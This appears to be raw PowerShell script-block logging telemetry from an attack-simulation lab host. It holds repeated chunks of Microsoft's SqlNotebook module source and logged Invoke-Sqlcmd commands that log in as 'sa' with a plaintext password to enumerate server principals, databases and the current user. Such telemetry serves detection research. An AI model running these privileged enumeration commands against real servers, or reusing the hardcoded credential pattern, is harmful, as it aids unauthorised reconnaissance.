$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if ($SqlQueryError) {
# Adding the parsed query error from Invoke-Sqlcmd
$NotebookCellOutputs += $(ParseQueryErrorToNotebookOutput($SqlQueryError))
}
if ($SqlQueryExecutionTime) {
# Adding the parsed execution time from Measure-Command
$NotebookCellExcutionTimeString = "Total execution time: " + $SqlQueryExecutionTime.ToString()
$NotebookCellOutputs += $(ParseStringToNotebookOutput($NotebookCellExcutionTimeString))
}
7190507c-f82a-4cd6-8508-12362dfe9f79C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0507759Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificate5e9a035e-981a-43a2-826d-71952ae7a69d
4104152150x0507489Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate3b27c848-945d-4eca-b6a5-57a4ea398be2
4104152150x0507288Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iterating over the results by Invoke-Sqlcmd
There are 2 types of errors:
1. Verbose Output: Print Statements:
These needs to be added to the beginning of the cell outputs
2. Datatables from the database
These needs to be added to the end of cell outputs
#>
$SqlQueryResult | ForEach-Object {
if ($_ -is [System.Management.Automation.VerboseRecord]) {
# Adding the print statments to the cell outputs
$NotebookCellOutputs += $(ParseStringToNotebookOutput($_.Message))
} elseif ($_ -is [System.Data.DataTable]) {
# Storing the print Tables into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_ $CellExecutionCount)
} elseif ($_ -is [System.Data.DataRow]) {
# Storing the print row into an array to be added later to the cell output
$NotebookCellTableOutputs += $(ParseTableToNotebookOutput $_.Table $CellExecutionCount)
}
}
if 22bc79ed-51c6-4e70-8900-fa54b459fb48C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0507281Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate2d0c0475-48ca-4750-8229-b17aee8784a7
4104152150x0507075Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Authentication test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT SYSTEM_USER AS CurrentUser' -TrustServerCertificate75307878-50d7-4083-9de2-042aa764b47e
4104152150x0506869Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: Basic version query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT @@version' -TrustServerCertificateb69b87f9-eb6e-4f76-98a0-21a2e2e40342
4104152150x0506634Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
Set-StrictMode -Version Latest
function Invoke-SqlNotebook {
[CmdletBinding(DefaultParameterSetName="ByConnectionParameters")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUsePSCredentialType", "Username", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingPlainTextForPassword", "Password", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidUsingUsernameAndPasswordParams", "", Justification="Intentionally allowing User/Password, in addition to a PSCredential parameter.")]
# Parameters
param(
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$ServerInstance,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')]$Database,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Username,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()]$Password,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionString')][ValidateNotNullorEmpty()]$ConnectionString,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSCredential]$Credential,
[Parameter(Mandatory = $true, ParameterSetName='ByInputFile')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputFile,
[Parameter(Mandatory = $true, ParameterSetName='ByInputObject')]
[Parameter(ParameterSetName = 'ByConnectionParameters')]
[Parameter(ParameterSetName = 'ByConnectionString')]$InputObject,
[Parameter(Mandatory = $false)][ValidateNotNullorEmpty()]$OutputFile,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNullorEmpty()][PSObject]$AccessToken,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][Switch]$TrustServerCertificate,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateSet("Mandatory", "Optional", "Strict")][string]$Encrypt,
[Parameter(Mandatory = $false, ParameterSetName = 'ByConnectionParameters')][ValidateNotNull()][string]$HostNameInCertificate,
[Switch]$Force
)
#Checks to see if OutputFile is given
#If it is, checks to see if extension is there
function getOutputFile($inputFile,$outputFile) {
if($outputFile) {
$extn = [IO.Path]::GetExtension($outputFile)
if ($extn.Length -eq 0) {
$outputFile = ($outputFile + ".ipynb")
}
$outputFile
}
else {
#If User does not define Output it will use the inputFile file location
$fileinfo = Get-Item $inputFile
# Create an output file based on the file path of input and name
Join-Path $fileinfo.DirectoryName ($fileinfo.BaseName + "_out" + $fileinfo.Extension)
}
}
#Validates InputFile and Converts InputFile to Json Object
function getFileContents($inputfile) {
if (-not (Test-Path -Path $inputfile)) {
Throw New-Object System.IO.FileNotFoundException ($inputfile + " does not exist")
}
$fileItem = Get-Item $inputfile
#Checking if file is a python notebook
if ($fileItem.Extension -ne ".ipynb") {
Throw New-Object System.FormatException "Only ipynb files are supported"
}
$fileContent = Get-Content $inputfile
try {
$fileContentJson = ($fileContent | ConvertFrom-Json)
}
catch {
Throw New-Object System.FormatException "Malformed Json file"
}
$fileContentJson
}
#Validate SQL Kernel Notebook
function validateKernelType($fileContentJson) {
if ($fileContentJson.metadata.kernelspec.name -ne "SQL") {
Throw New-Object System.NotSupportedException "Kernel type '$($fileContentJson.metadata.kernelspec.name)' not supported."
}
}
#Validate non-existing output file
#If file exists and $throwifexists, an exception is thrown.
function validateExistingOutputFile($outputfile, $throwifexists) {
if ($outputfile -and (Test-Path $outputfile) -and $throwifexists) {
Throw New-Object System.IO.IOException "The file '$($outputfile)' already exists. Please, specify -Force to overwrite it."
}
}
#Parsing Notebook Data to Notebook Output
function ParseTableToNotebookOutput {
param (
[System.Data.DataTable]
$DataTable,
[int]
$CellExecutionCount
)
$TableHTMLText = "<table>"
$TableSchemaFeilds = @()
$TableHTMLText += "<tr>"
foreach ($ColumnName in $DataTable.Columns) {
$TableSchemaFeilds += @(@{name = $ColumnName.toString() })
$TableHTMLText += "<th>" + $ColumnName.toString() + "</th>"
}
$TableHTMLText += "</tr>"
$TableSchema = @{ }
$TableSchema["fields"] = $TableSchemaFeilds
$TableDataRows = @()
foreach ($Row in $DataTable) {
$TableDataRow = [ordered]@{ }
$TableHTMLText += "<tr>"
$i = 0
foreach ($Cell in $Row.ItemArray) {
$TableDataRow[$i.ToString()] = $Cell.toString()
$TableHTMLText += "<td>" + $Cell.toString() + "</td>"
$i++
}
$TableHTMLText += "</tr>"
$TableDataRows += $TableDataRow
}
$TableDataResource = @{ }
$TableDataResource["schema"] = $TableSchema
$TableDataResource["data"] = $TableDataRows
$TableData = @{ }
$TableData["application/vnd.dataresource+json"] = $TableDataResource
$TableData["text/html"] = $TableHTMLText
$TableOutput = @{ }
$TableOutput["output_type"] = "execute_result"
$TableOutput["data"] = $TableData
$TableOutput["metadata"] = @{ }
$TableOutput["execution_count"] = $CellExecutionCount
return $TableOutput
}
#Parsing the Error Messages to Notebook Output
function ParseQueryErrorToNotebookOutput {
param (
$QueryError
)
<#
Following the current syntax of errors in T-SQL notebooks from ADS
#>
$ErrorString = "Msg " + $QueryError.Exception.InnerException.Number +
", Level " + $QueryError.Exception.InnerException.Class +
", State " + $QueryError.Exception.InnerException.State +
", Line " + $QueryError.Exception.InnerException.LineNumber +
"`r`n" + $QueryError.Exception.Message
$ErrorOutput = @{ }
$ErrorOutput["output_type"] = "error"
$ErrorOutput["traceback"] = @()
$ErrorOutput["evalue"] = $ErrorString
return $ErrorOutput
}
#Parsing Messages to Notebook Output
function ParseStringToNotebookOutput {
param (
[System.String]
$InputString
)
<#
Parsing the string to notebook cell output.
It's the standard Jupyter Syntax
#>
$StringOutputData = @{ }
$StringOutputData["text/html"] = $InputString
$StringOutput = @{ }
$StringOutput["output_type"] = "display_data"
$StringOutput["data"] = $StringOutputData
$StringOutput["metadata"] = @{ }
return $StringOutput
}
#Start of Script
#Checks to see if InputFile or InputObject was entered
#Checks to InputFile Type and initializes OutputFile
if ($InputFile -is [System.String]) {
$fileInformation = getFileContents($InputFile)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} elseif ($InputFile -is [System.IO.FileInfo]) {
$fileInformation = getFileContents($InputFile.FullName)
$fileContent = $fileInformation[0]
$OutputFile = getOutputFile $InputFile $OutputFile
} else {
$fileContent = $InputObject
}
#Checks InputObject and converts that to appropriate Json object
if ($InputObject -is [System.String]) {
$fileContentJson = ($InputObject | ConvertFrom-Json)
$fileContent = $fileContentJson[0]
}
#Validates only SQL Notebooks
validateKernelType $fileContent
#Validate that $OutputFile does not exist, or, if it exists a -Force was passed in.
validateExistingOutputFile $OutputFile (-not $Force)
#Setting params for Invoke-Sqlcmd
$DatabaseQueryHashTable = @{ }
#Checks to see if User entered ConnectionString or individual parameters
if ($ConnectionString) {
$DatabaseQueryHashTable["ConnectionString"] = $ConnectionString
} else {
if ($ServerInstance) {
$DatabaseQueryHashTable["ServerInstance"] = $ServerInstance
}
if ($Database) {
$DatabaseQueryHashTable["Database"] = $Database
}
#Checks to see if User entered AccessToken, Credential, or individual parameters
if ($AccessToken) {
# Currently, Invoke-Sqlcmd only supports an -AccessToken of type [string]
if ($AccessToken -is [string]) {
$DatabaseQueryHashTable["AccessToken"] = $AccessToken
} else {
# Assume $AccessToken has a 'Token' member that is a string
$DatabaseQueryHashTable["AccessToken"] = $AccessToken.Token
}
} else {
if ($Credential) {
$DatabaseQueryHashTable["Credential"] = $Credential
} else {
if ($Username) {
$DatabaseQueryHashTable["Username"] = $Username
}
if ($Password) {
$DatabaseQueryHashTable["Password"] = $Password
}
}
}
if ($Encrypt) {
$DatabaseQueryHashTable["Encrypt"] = $Encrypt
}
if ($TrustServerCertificate) {
$DatabaseQueryHashTable["TrustServerCertificate"] = $TrustServerCertificate
}
if ($HostNameInCertificate) {
$DatabaseQueryHashTable["HostNameInCertificate"] = $HostNameInCertificate
}
}
#Setting additional parameters for Invoke-SQLCMD to get
#all the information from Notebook execution to output
$DatabaseQueryHashTable["Verbose"] = $true
$DatabaseQueryHashTable["ErrorVariable"] = "SqlQueryError"
$DatabaseQueryHashTable["OutputAs"] = "DataTables"
#The first code cell number
$cellExecutionCount = 1
#Iterate through Notebook Cells
$fileContent.cells | Where-Object {
# Ignoring Markdown or raw cells
$_.cell_type -ne "markdown" -and $_.cell_type -ne "raw" -and $_.source -ne ""
} | ForEach-Object {
$NotebookCellOutputs = @()
# Getting the source T-SQL from the cell
# Note that the cell's source field can be
# an array (or strings) or a scalar (string).
# If an array, elements are properly terminated with CR/LF.
$DatabaseQueryHashTable["Query"] = $_.source -join ''
# Executing the T-SQL Query and storing the result and the time taken to execute
$SqlQueryExecutionTime = Measure-Command {
[Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSUseDeclaredVarsMoreThanAssignments", "SqlQueryResult", Justification="Suppressing false warning.")]
$SqlQueryResult = @( Invoke-Sqlcmd @DatabaseQueryHashTable -ErrorAction SilentlyContinue 4>&1)
}
# Setting the Notebook Cell Execution Count to increase count of each code cell
# Note: handle the case where the 'execution_count' property is missing.
if (-not ($_ | Get-Member execution_count)) {
$_ | Add-Member -Name execution_count -Value $null -MemberType NoteProperty
}
$_.execution_count = $cellExecutionCount++
$NotebookCellTableOutputs = @()
<#
Iter88266a62-45ff-42c6-8641-a0c6f69ebf86C:\Program Files\WindowsPowerShell\Modules\SqlServer\22.3.0\SqlNotebook.psm1
4104152150x0506628Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: System principals query'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, type_desc FROM sys.server_principals' -TrustServerCertificate257242a4-6e56-42b3-b278-e7942d7a3c4a
4104152150x0506422Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11$ErrorActionPreference = 'Continue'
Write-Host 'Running: DataSet output test'
Invoke-Sqlcmd -ServerInstance 'localhost' -Database 'master' -Username 'sa' -Password 'ComplexPass123!' -Query 'SELECT name, database_id FROM sys.databases' -OutputAs DataSet -TrustServerCertificate62de070d-a3d0-478e-9d1c-ed9b60c5b920
4104152150x0506221Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local13# Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
